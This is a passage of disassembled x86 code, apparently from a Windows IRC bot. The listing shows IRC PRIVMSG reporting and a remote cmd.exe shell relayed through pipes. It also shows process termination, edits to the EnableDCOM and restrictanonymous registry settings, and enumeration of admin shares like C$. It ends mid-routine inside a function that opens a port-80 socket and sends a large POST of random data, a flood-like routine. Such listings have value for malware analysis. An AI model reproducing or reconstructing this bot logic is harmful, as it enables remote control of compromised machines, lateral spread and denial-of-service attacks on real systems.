sub_401ACD+26CEo Dest = byte ptr -298h var_98 = dword ptr -98h Str = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset asc_439FB0 ; "-" rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+Dest] push eax ; Dest call _sprintf xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994B push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_98] ; int call sub_409A73 add esp, 14h loc_41994B: ; CODE XREF: sub_4198EC+3Dj push [ebp+var_10] ; int lea eax, [ebp+Str] push esi ; int push esi ; Str2 push [ebp+var_C] ; int push eax ; Str push [ebp+var_98] ; int call sub_4196BD add esp, 18h test eax, eax jnz short loc_419973 push offset unk_439F8C jmp short loc_419978 ; --------------------------------------------------------------------------- loc_419973: ; CODE XREF: sub_4198EC+7Ej push offset asc_439F68 ; "-" loc_419978: ; CODE XREF: sub_4198EC+85j lea eax, [ebp+Dest] push eax ; Dest call _sprintf cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AB push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_98] ; int call sub_409A73 add esp, 14h loc_4199AB: ; CODE XREF: sub_4198EC+9Dj lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_14] call sub_40B413 pop ecx pop ecx push esi call ds:dword_4270CC ; ExitThread pop edi pop esi sub_4198EC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199CA proc near ; CODE XREF: sub_401ACD+78B4p ; sub_40B232+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call ds:dword_427084 ; OpenProcess mov esi, eax test esi, esi jz short loc_4199FC push 0 push esi call ds:dword_4270F0 ; TerminateProcess test eax, eax jnz short loc_4199FC push esi xor edi, edi call ds:dword_427068 ; CloseHandle loc_4199FC: ; CODE XREF: sub_4199CA+1Aj ; sub_4199CA+27j mov eax, edi pop edi pop esi retn sub_4199CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419A01 proc near ; DATA XREF: WinMain(x,x,x,x)+3CDo push esi xor esi, esi loc_419A04: ; CODE XREF: sub_419A01+1Ej push 1 ; int push esi ; int push esi ; Str2 push esi ; int push esi ; Str push esi ; int call sub_4196BD add esp, 18h push dword_439DAC call ds:dword_427078 ; Sleep jmp short loc_419A04 sub_419A01 endp ; =============== S U B R O U T I N E ======================================= sub_419A21 proc near ; CODE XREF: sub_419A51+2Ap ; sub_419A89+7Ep ... mov eax, dword_4DB8D8 push esi mov esi, ds:dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A35 push eax call esi ; CloseHandle loc_419A35: ; CODE XREF: sub_419A21+Fj mov eax, dword_4DB8E0 cmp eax, 0FFFFFFFFh jz short loc_419A42 push eax call esi ; CloseHandle loc_419A42: ; CODE XREF: sub_419A21+1Cj mov eax, dword_4DB8D4 cmp eax, 0FFFFFFFFh jz short loc_419A4F push eax call esi ; CloseHandle loc_419A4F: ; CODE XREF: sub_419A21+29j pop esi retn sub_419A21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419A51(char *Str) sub_419A51 proc near ; CODE XREF: sub_401ACD+7605p ; sub_415C5A+14Ap var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+Str] ; Str call _strlen pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+Str] push dword_4DB8DC call ds:dword_4270E0 ; WriteFile test eax, eax jnz short loc_419A84 call sub_419A21 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A84: ; CODE XREF: sub_419A51+28j push 1 pop eax leave retn sub_419A51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419A89(int,char *Str1,int) sub_419A89 proc near ; CODE XREF: sub_419B10+D3p ; sub_419B10+F2p ... Dest = byte ptr -200h arg_0 = dword ptr 8 Str1 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43D808 ; Str2 push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_419ACC push 7D0h call ds:dword_427078 ; Sleep push [ebp+arg_8] lea eax, [ebp+Dest] push [ebp+Str1] push offset aPrivmsgSS_1 ; "PRIVMSG %s :%s\r" push eax ; Dest call _sprintf add esp, 10h jmp short loc_419AE3 ; --------------------------------------------------------------------------- loc_419ACC: ; CODE XREF: sub_419A89+1Aj push [ebp+arg_8] lea eax, [ebp+Dest] push offset aS_6 ; "%s" push eax ; Dest call _sprintf add esp, 0Ch loc_419AE3: ; CODE XREF: sub_419A89+41j lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_4CB6A4 ; send test eax, eax jg short loc_419B0C call sub_419A21 loc_419B0C: ; CODE XREF: sub_419A89+7Cj xor eax, eax leave retn sub_419A89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B10 proc near ; DATA XREF: sub_419C65+170o Dst = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset byte_4DB8E4 loc_419B28: ; CODE XREF: sub_419B10+79j ; sub_419B10+DBj push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+Dst] push esi push eax push dword_4DB8D8 call ds:dword_42718C ; PeekNamedPipe test eax, eax jz loc_419BF6 cmp [ebp+var_4], edi jnz short loc_419B8B lea eax, [ebp+var_8] push eax push dword_4DB8D4 call ds:dword_427188 ; GetExitCodeProcess test eax, eax jz short loc_419B81 cmp [ebp+var_8], 103h jnz loc_419C1A loc_419B81: ; CODE XREF: sub_419B10+62j push 0Ah call ds:dword_427078 ; Sleep jmp short loc_419B28 ; --------------------------------------------------------------------------- loc_419B8B: ; CODE XREF: sub_419B10+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA2 loc_419B92: ; CODE XREF: sub_419B10+90j cmp [ebp+eax+Dst], 0Ah jz short loc_419BF0 inc eax cmp eax, [ebp+var_4] jb short loc_419B92 loc_419BA2: ; CODE XREF: sub_419B10+80j mov [ebp+var_4], esi loc_419BA5: ; CODE XREF: sub_419B10+E4j push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+Dst] push eax push dword_4DB8D8 call ds:dword_4270E8 ; ReadFile test eax, eax jz short loc_419C42 lea eax, [ebp+Dst] push eax ; int push ebx ; Str1 push dword_4DB918 ; int call sub_419A89 add esp, 0Ch jmp loc_419B28 ; --------------------------------------------------------------------------- loc_419BF0: ; CODE XREF: sub_419B10+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA5 ; --------------------------------------------------------------------------- loc_419BF6: ; CODE XREF: sub_419B10+45j push offset unk_43A038 ; int push ebx ; Str1 push dword_4DB918 ; int call sub_419A89 push [ebp+arg_0] call sub_40B413 add esp, 10h push 1 call ds:dword_4270CC ; ExitThread loc_419C1A: ; CODE XREF: sub_419B10+6Bj call sub_419A21 push offset unk_43A010 ; int push ebx ; Str1 push dword_4DB918 ; int call sub_419A89 push [ebp+arg_0] call sub_40B413 add esp, 10h push edi call ds:dword_4270CC ; ExitThread loc_419C42: ; CODE XREF: sub_419B10+C3j push offset unk_439FE0 ; int push ebx ; Str1 push dword_4DB918 ; int call sub_419A89 push [ebp+arg_0] call sub_40B413 add esp, 10h push edi call ds:dword_4270CC ; ExitThread sub_419B10 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C65 proc near ; CODE XREF: sub_401ACD+2508p ; sub_415C5A+99p Dest = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h Dst = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A21 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_4CB710 ; SearchPathA test eax, eax jz loc_419D5F push 1 lea eax, [ebp+var_1C] pop ebx mov edi, ds:dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_419D5F lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_419D5F mov edi, ds:dword_4270F8 push 3 push esi push esi push offset dword_4DB8DC call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call ds:dword_4270F4 ; DuplicateHandle test eax, eax jz short loc_419D5F push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_74] pop edi push edi ; Size push esi ; Val push eax ; Dst call _memset mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+Dst] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43D808 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call ds:dword_42706C ; CreateProcessA test eax, eax jnz short loc_419D67 loc_419D5F: ; CODE XREF: sub_419C65+2Fj ; sub_419C65+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E15 ; --------------------------------------------------------------------------- loc_419D67: ; CODE XREF: sub_419C65+F8j push [ebp+var_4] mov edi, ds:dword_427068 call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB8D8, eax mov eax, [ebp+var_8] mov dword_4DB8E0, eax mov eax, [ebp+Dst] mov dword_4DB8D4, eax call edi ; CloseHandle mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB918, eax jz short loc_419DA1 push [ebp+arg_4] jmp short loc_419DA2 ; --------------------------------------------------------------------------- loc_419DA1: ; CODE XREF: sub_419C65+135j push ebx ; Format loc_419DA2: ; CODE XREF: sub_419C65+13Aj push offset byte_4DB8E4 ; Dest call _sprintf pop ecx pop ecx push esi ; int push 0Ah ; int push offset asc_43A09C ; "-" call sub_40B0F7 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43E598[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B10 push esi push esi call ds:dword_42707C ; CreateThread cmp eax, esi mov dword_43E5A4[edi], eax jnz short loc_419E13 call ds:dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+Dest] push offset asc_43A068 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_4151AD add esp, 10h loc_419E13: ; CODE XREF: sub_419C65+185j xor eax, eax loc_419E15: ; CODE XREF: sub_419C65+FDj pop edi pop esi pop ebx leave retn sub_419C65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E1A proc near ; DATA XREF: sub_401ACD+2E0Co var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E61 call sub_419E7A jmp short loc_419E66 ; --------------------------------------------------------------------------- loc_419E61: ; CODE XREF: sub_419E1A+3Ej call sub_41A19E loc_419E66: ; CODE XREF: sub_419E1A+45j add esp, 10h push [ebp+var_14] call sub_40B413 pop ecx push 0 call ds:dword_4270CC ; ExitThread sub_419E1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E7A proc near ; CODE XREF: sub_419E1A+40p Dest = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch Str = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB724, edi jnz loc_419FAC lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB6C4 ; RegOpenKeyExA test eax, eax jnz short loc_419F05 mov ax, word_438E18 mov word ptr [ebp+Str+2], ax lea eax, [ebp+Str+2] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB678 ; RegSetValueExA test eax, eax jz short loc_419EE7 push offset dword_43A338 jmp short loc_419EEC ; --------------------------------------------------------------------------- loc_419EE7: ; CODE XREF: sub_419E7A+64j push offset asc_43A318 ; "-" loc_419EEC: ; CODE XREF: sub_419E7A+6Bj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call dword_4CB630 ; RegCloseKey jmp short loc_419F18 ; --------------------------------------------------------------------------- loc_419F05: ; CODE XREF: sub_419E7A+36j lea eax, [ebp+Dest] push offset asc_43A2E8 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_419F18: ; CODE XREF: sub_419E7A+89j cmp [ebp+arg_C], edi jnz short loc_419F37 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h loc_419F37: ; CODE XREF: sub_419E7A+A1j lea eax, [ebp+Dest] push eax call sub_4151AD pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB6C4 ; RegOpenKeyExA test eax, eax jnz short loc_419FA5 lea eax, [ebp+Str] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov dword ptr [ebp+Str], 1 call dword_4CB678 ; RegSetValueExA test eax, eax jz short loc_419F87 push offset dword_43A298 jmp short loc_419F8C ; --------------------------------------------------------------------------- loc_419F87: ; CODE XREF: sub_419E7A+104j push offset asc_43A264 ; "-" loc_419F8C: ; CODE XREF: sub_419E7A+10Bj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call dword_4CB630 ; RegCloseKey jmp short loc_419FBF ; --------------------------------------------------------------------------- loc_419FA5: ; CODE XREF: sub_419E7A+E2j push offset dword_43A228 jmp short loc_419FB1 ; --------------------------------------------------------------------------- loc_419FAC: ; CODE XREF: sub_419E7A+13j push offset asc_43A1F8 ; "-" loc_419FB1: ; CODE XREF: sub_419E7A+130j lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_419FBF: ; CODE XREF: sub_419E7A+129j cmp [ebp+arg_C], edi jnz short loc_419FDE push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h loc_419FDE: ; CODE XREF: sub_419E7A+148j lea eax, [ebp+Dest] push eax call sub_4151AD cmp dword_4CB74C, edi pop ecx jnz loc_41A159 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A001: ; CODE XREF: sub_419E7A+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+Str] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CB598 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09E cmp eax, 0EAh jz short loc_41A09E mov esi, offset off_43A0C0 loc_41A032: ; CODE XREF: sub_419E7A+21Dj push dword ptr [esi] push edi call sub_418C6C pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A049 push offset dword_43A1D4 jmp short loc_41A04E ; --------------------------------------------------------------------------- loc_41A049: ; CODE XREF: sub_419E7A+1C6j push offset asc_43A1A8 ; "-" loc_41A04E: ; CODE XREF: sub_419E7A+1CDj lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A081 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h loc_41A081: ; CODE XREF: sub_419E7A+1EBj lea eax, [ebp+Dest] push eax call sub_4151AD add esi, 8 pop ecx cmp esi, offset dword_43A0E0 jb short loc_41A032 jmp loc_41A136 ; --------------------------------------------------------------------------- loc_41A09E: ; CODE XREF: sub_419E7A+1AAj ; sub_419E7A+1B1j mov esi, dword ptr [ebp+Str] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12D loc_41A0AD: ; CODE XREF: sub_419E7A+2AFj mov edi, [esi] push edi ; Str call _wcslen cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A122 push edi call sub_418B59 push eax push 0 call sub_418C6C add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DC push offset dword_43A184 jmp short loc_41A0E1 ; --------------------------------------------------------------------------- loc_41A0DC: ; CODE XREF: sub_419E7A+259j push offset asc_43A158 ; "-" loc_41A0E1: ; CODE XREF: sub_419E7A+260j lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A115 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h loc_41A115: ; CODE XREF: sub_419E7A+27Fj lea eax, [ebp+Dest] push eax call sub_4151AD pop ecx loc_41A122: ; CODE XREF: sub_419E7A+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AD xor edi, edi loc_41A12D: ; CODE XREF: sub_419E7A+22Dj push dword ptr [ebp+Str] call dword_4CB6E4 loc_41A136: ; CODE XREF: sub_419E7A+21Fj cmp [ebp+var_10], 0EAh jz loc_41A001 lea eax, [ebp+Dest] push offset asc_43A130 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx pop ebx jmp short loc_41A16C ; --------------------------------------------------------------------------- loc_41A159: ; CODE XREF: sub_419E7A+177j lea eax, [ebp+Dest] push offset asc_43A100 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_41A16C: ; CODE XREF: sub_419E7A+2DDj cmp [ebp+arg_C], edi jnz short loc_41A18A push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h loc_41A18A: ; CODE XREF: sub_419E7A+2F5j lea eax, [ebp+Dest] push eax call sub_4151AD pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19E proc near ; CODE XREF: sub_419E1A:loc_419E61p Dest = byte ptr -220h var_20 = dword ptr -20h var_14 = byte ptr -14h Str = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB724, ebx push esi jnz loc_41A2CC lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB6C4 ; RegOpenKeyExA test eax, eax jnz short loc_41A229 mov ax, word_438E5C mov word ptr [ebp+Str+2], ax lea eax, [ebp+Str+2] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB678 ; RegSetValueExA test eax, eax jz short loc_41A20B push offset dword_43A4B0 jmp short loc_41A210 ; --------------------------------------------------------------------------- loc_41A20B: ; CODE XREF: sub_41A19E+64j push offset asc_43A494 ; "-" loc_41A210: ; CODE XREF: sub_41A19E+6Bj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call dword_4CB630 ; RegCloseKey jmp short loc_41A23C ; --------------------------------------------------------------------------- loc_41A229: ; CODE XREF: sub_41A19E+36j lea eax, [ebp+Dest] push offset asc_43A2E8 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_41A23C: ; CODE XREF: sub_41A19E+89j cmp [ebp+arg_C], ebx jnz short loc_41A25B push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h loc_41A25B: ; CODE XREF: sub_41A19E+A1j lea eax, [ebp+Dest] push eax call sub_4151AD pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB6C4 ; RegOpenKeyExA test eax, eax jnz short loc_41A2C5 lea eax, [ebp+Str] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov dword ptr [ebp+Str], ebx call dword_4CB678 ; RegSetValueExA test eax, eax jz short loc_41A2A7 push offset dword_43A454 jmp short loc_41A2AC ; --------------------------------------------------------------------------- loc_41A2A7: ; CODE XREF: sub_41A19E+100j push offset asc_43A41C ; "-" loc_41A2AC: ; CODE XREF: sub_41A19E+107j lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call dword_4CB630 ; RegCloseKey jmp short loc_41A2DF ; --------------------------------------------------------------------------- loc_41A2C5: ; CODE XREF: sub_41A19E+E2j push offset dword_43A3E0 jmp short loc_41A2D1 ; --------------------------------------------------------------------------- loc_41A2CC: ; CODE XREF: sub_41A19E+13j push offset asc_43A1F8 ; "-" loc_41A2D1: ; CODE XREF: sub_41A19E+12Cj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_41A2DF: ; CODE XREF: sub_41A19E+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FE push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h loc_41A2FE: ; CODE XREF: sub_41A19E+144j lea eax, [ebp+Dest] push eax call sub_4151AD cmp dword_4CB74C, ebx pop ecx jnz loc_41A473 push edi mov esi, offset off_43A0C0 mov edi, 200h loc_41A322: ; CODE XREF: sub_41A19E+1E9j push dword ptr [esi+4] ; int push dword ptr [esi] ; Str push ebx ; int call sub_418BC0 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33D push offset dword_43A3C0 jmp short loc_41A342 ; --------------------------------------------------------------------------- loc_41A33D: ; CODE XREF: sub_41A19E+196j push offset asc_43A398 ; "-" loc_41A342: ; CODE XREF: sub_41A19E+19Dj lea eax, [ebp+Dest] push edi ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A371 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h loc_41A371: ; CODE XREF: sub_41A19E+1B7j lea eax, [ebp+Dest] push eax call sub_4151AD add esi, 8 pop ecx cmp esi, offset off_43A0D0 jb short loc_41A322 call ds:dword_427190 ; GetLogicalDrives test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45B loc_41A39C: ; CODE XREF: sub_41A19E+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A450 cmp bl, 41h jz loc_41A450 movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_20] push esi push offset aC ; "%c:\\" push 0Ah ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CB6B4 ; GetDriveTypeA cmp eax, 3 jnz short loc_41A450 lea eax, [ebp+var_20] push eax ; int lea eax, [ebp+var_14] push eax ; Str push 0 ; int call sub_418BC0 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40E push offset dword_43A3C0 jmp short loc_41A413 ; --------------------------------------------------------------------------- loc_41A40E: ; CODE XREF: sub_41A19E+267j push offset asc_43A398 ; "-" loc_41A413: ; CODE XREF: sub_41A19E+26Ej lea eax, [ebp+Dest] push edi ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A443 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h loc_41A443: ; CODE XREF: sub_41A19E+289j lea eax, [ebp+Dest] push eax call sub_4151AD pop ecx loc_41A450: ; CODE XREF: sub_41A19E+206j ; sub_41A19E+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39C loc_41A45B: ; CODE XREF: sub_41A19E+1F8j lea eax, [ebp+Dest] push offset asc_43A368 ; "-" push eax ; Dest call _sprintf pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A486 ; --------------------------------------------------------------------------- loc_41A473: ; CODE XREF: sub_41A19E+173j lea eax, [ebp+Dest] push offset asc_43A100 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_41A486: ; CODE XREF: sub_41A19E+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A4 push ebx ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h loc_41A4A4: ; CODE XREF: sub_41A19E+2EBj lea eax, [ebp+Dest] push eax call sub_4151AD pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19E endp ; =============== S U B R O U T I N E ======================================= sub_41A4B8 proc near ; CODE XREF: sub_41A6AF+CBp ; sub_41A6AF+DDp ... arg_0 = dword ptr 4 call ds:dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx call _rand cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A4D2(char *Str) sub_41A4D2 proc near ; CODE XREF: sub_41A6AF+D4p ; sub_41A6AF+E6p ... var_38 = dword ptr -38h Dst = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch Source = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+Str] ; Str call _strlen mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AB push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset push [ebp+Str] mov [ebp+Dst], 2 call sub_40AAFA add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AB push 50h call dword_4CB654 ; htons push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CB6D4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AB lea ecx, [ebp+Dst] push 10h push ecx push eax call dword_4CB5FC ; connect cmp eax, 0FFFFFFFFh jz loc_41A6AB push 32003h ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) mov edi, ds:dword_4270A8 mov ebx, eax pop ecx mov [ebp+Source], ebx call edi ; GetTickCount push eax ; Size call sub_41B8D8 call _rand cdq idiv esi mov [esp+38h+var_38], 32001h push 0 ; Val push ebx ; Dst movsx esi, dl call _memset push 32000h ; Size push esi ; Val push ebx ; Dst call _memset push ebx ; Str call _strlen push 323EAh ; unsigned int mov ebx, eax call ??2@YAPAXI@Z ; operator new(uint) add esp, 20h mov esi, eax push ebx push [ebp+Str] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi ; Dest call _sprintf push [ebp+Source] ; Source push esi ; Dest call _strcat push offset 